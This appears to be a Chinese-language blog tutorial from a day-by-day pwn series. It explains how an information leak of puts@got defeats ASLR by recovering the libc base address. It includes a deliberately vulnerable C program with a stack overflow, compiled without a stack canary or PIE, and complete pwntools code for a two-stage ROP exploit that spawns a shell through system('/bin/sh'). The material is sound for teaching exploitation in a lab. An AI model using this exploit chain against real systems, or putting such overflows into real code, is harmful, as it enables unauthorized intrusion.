前幾天我們一路從 ROP、ret2libc 講到 GOT / PLT。
在 Day24 的 ret2libc 中,其實我們已經做過一件非常重要的事情:
puts(puts@got)
把 puts 在 Runtime 的真實位址洩漏出來。
但當時主要是為了完成 ret2libc,所以沒有仔細講:
為什麼只洩漏一個 Address,就可以進一步算出 libc 裡其他 Function 的位置?
今天就來聊聊 Pwn 裡非常重要的 Primitive:
Information Leak
前面提過 ASLR:
Address Space Layout Randomization
它會讓程式每次執行時,一些記憶體區域的 Base Address 都不一樣。
例如 libc:
Run 1
libc base = 0x7ffff7c00000
Run 2
libc base = 0x7ffff79a0000
Run 3
libc base = 0x7ffff7a30000
所以我們不能直接寫:
system = 0x7ffff7e12345
下一次執行,這個 Address 很可能就已經不是 system() 了。
但是有一個東西不會改:
Offset
例如:
puts offset = 0x080ed0
system offset = 0x050d70
雖然 libc Base 每次不同,但 Function 相對於 libc Base 的 Offset 是固定的。
因此只要能拿到:
puts 的 Runtime Address
就能算:
libc base
=
puts runtime address
-
puts offset
知道 libc Base 後:
system address
=
libc base
+
system offset
這就是 Information Leak 最核心的概念。
整個流程其實可以濃縮成:
Leak Address
↓
Identify Offset
↓
Calculate Base
↓
Calculate Other Addresses
↓
Exploit
例如我們洩漏:
puts = 0x7ffff7c80ed0
而 libc 中:
puts offset = 0x80ed0
那麼:
0x7ffff7c80ed0
-
0x80ed0
=
0x7ffff7c00000
得到:
libc base = 0x7ffff7c00000
接下來 libc 裡幾乎所有 Symbol 都可以重新定位。
先準備一支簡單的程式:
#include <stdio.h>
#include <unistd.h>
void vuln()
{
char buf[64];
puts("Input:");
read(0, buf, 200);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
編譯:
gcc leak.c -o leak \
-fno-stack-protector \
-no-pie
看看保護:
checksec ./leak
這裡主要關注:
NX Enabled
PIE Disabled
Canary Disabled
因為 PIE 關閉,所以:
Binary Address
GOT Address
PLT Address
ROP Gadget
基本上都是固定的。
但是:
libc
仍然受到 ASLR 影響。
所以我們現在的目標就是:
洩漏 libc Address。
昨天介紹 GOT 時提過:
GOT
裡面會保存 Dynamic Function 的 Runtime Address。
例如:
puts@got
程式執行後裡面會放:
puts() 在 libc 中的真正 Address
所以如果能做到:
puts(puts@got);
等於告訴 puts():
把 GOT 裡面的資料印出來。
我們就能取得:
puts Runtime Address
這也是 ret2libc 中非常常見的 Leak 方法。
先用 Pwntools:
from pwn import *
context.binary = elf = ELF("./leak")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./leak")
rop = ROP(elf)
offset = 72
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
接下來建立:
pop rdi
puts@got
puts@plt
vuln
也就是:
payload = flat(
b"A" * offset,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["vuln"]
)
它實際做的事情就是:
puts(puts@got);
然後:
return vuln
再次回到漏洞點。
為什麼要回到 vuln()?
因為我們現在才只是:
Stage 1:Leak
拿到 Address 之後,還需要再送一次 Payload。
送出:
p.sendlineafter(b"Input:\n", payload)
接著接收:
leaked_puts = u64(
p.recvline().strip().ljust(8, b"\x00")
)
log.info(f"puts leak: {hex(leaked_puts)}")
可能得到:
puts leak: 0x7ffff7c80ed0
在 x86-64 Linux 中,常常只會看到 Address 的低 6 Bytes,例如:
d0 0e c8 f7 ff 7f
所以 Pwntools 中常看到:
ljust(8, b"\x00")
把它補成:
d0 0e c8 f7 ff 7f 00 00
再使用:
u64()
轉成 Address。
接下來就是今天最重要的一行:
libc.address = leaked_puts - libc.sym["puts"]
背後其實就是:
libc base
=
puts runtime address
-
puts offset
例如:
puts runtime = 0x7ffff7c80ed0
puts offset = 0x80ed0
得到:
libc base = 0x7ffff7c00000
Pwntools 設定:
libc.address = libc_base
之後,它就會自動幫我們重新計算 Symbol。
例如:
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
此時拿到的就不再只是 Offset,而是 Runtime Address。
現在我們已經知道:
libc base
system()
"/bin/sh"
那就可以重新建立一條 ROP Chain:
pop rdi
"/bin/sh"
system
例如:
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
ret = rop.find_gadget(["ret"]).address
payload = flat(
b"A" * offset,
ret,
pop_rdi,
binsh,
system
)
送出去:
p.sendlineafter(b"Input:\n", payload)
p.interactive()
最後整體流程就是:
Buffer Overflow
↓
ROP
↓
puts(puts@got)
↓
Leak puts
↓
Calculate libc Base
↓
Calculate system / "/bin/sh"
↓
ROP
↓
system("/bin/sh")
其實這就是前幾天 ret2libc Exploit 背後完整的邏輯。
Information Leak 不一定只能拿來 Leak libc。
實戰中可能會遇到很多種:
Libc Leak
PIE Leak
Stack Leak
Heap Leak
概念基本上都差不多。
假設 Leak 出某個:
binary address
就可能可以算:
PIE Base
Leak 出:
libc address
就可以算:
libc Base
Leak 出 Heap Pointer:
0x55555576xxxx
也可能幫助我們推算 Heap Layout。
所以真正重要的不是:
「我 Leak 到一個 Address」
而是:
這個 Address 屬於哪裡?
它相對於 Base 的 Offset 是多少?
我能不能利用它還原 Memory Layout?
現代 Binary 通常都有:
ASLR
PIE
NX
Canary
RELRO
Exploit 很少還是:
Overflow
→ 寫死 Address
→ Shell
更多時候會變成:
Find Primitive
↓
Information Leak
↓
Recover Memory Layout
↓
Build Exploit
所以 Information Leak 很多時候不是最後的漏洞,而是:
Exploit Primitive
它本身不一定能直接拿 Shell。
但只要把原本「不知道在哪裡」的東西洩漏出來,ASLR 帶來的隨機化就可能被繞過。
今天最重要的公式其實只有一個:
Base Address
=
Leaked Address
-
Known Offset
拿到 Base Address 後:
Target Address
=
Base Address
+
Target Offset
所以整個 Information Leak 可以記成:
Leak
↓
Calculate Base
↓
Recover Addresses
↓
Exploit
前幾天的 ret2libc 其實就是:
ROP
+
GOT / PLT
+
Information Leak
+
libc
把這幾個東西組起來之後,一個完整的 Pwn Exploit 就慢慢成形了。
下一篇 Day27,我們來看看一種本身就非常適合拿來「讀取 Memory」的漏洞:
Format String Vulnerability
看看一個看似普通的:
printf(buf);
到底能讓我們從 Stack 裡挖出多少東西。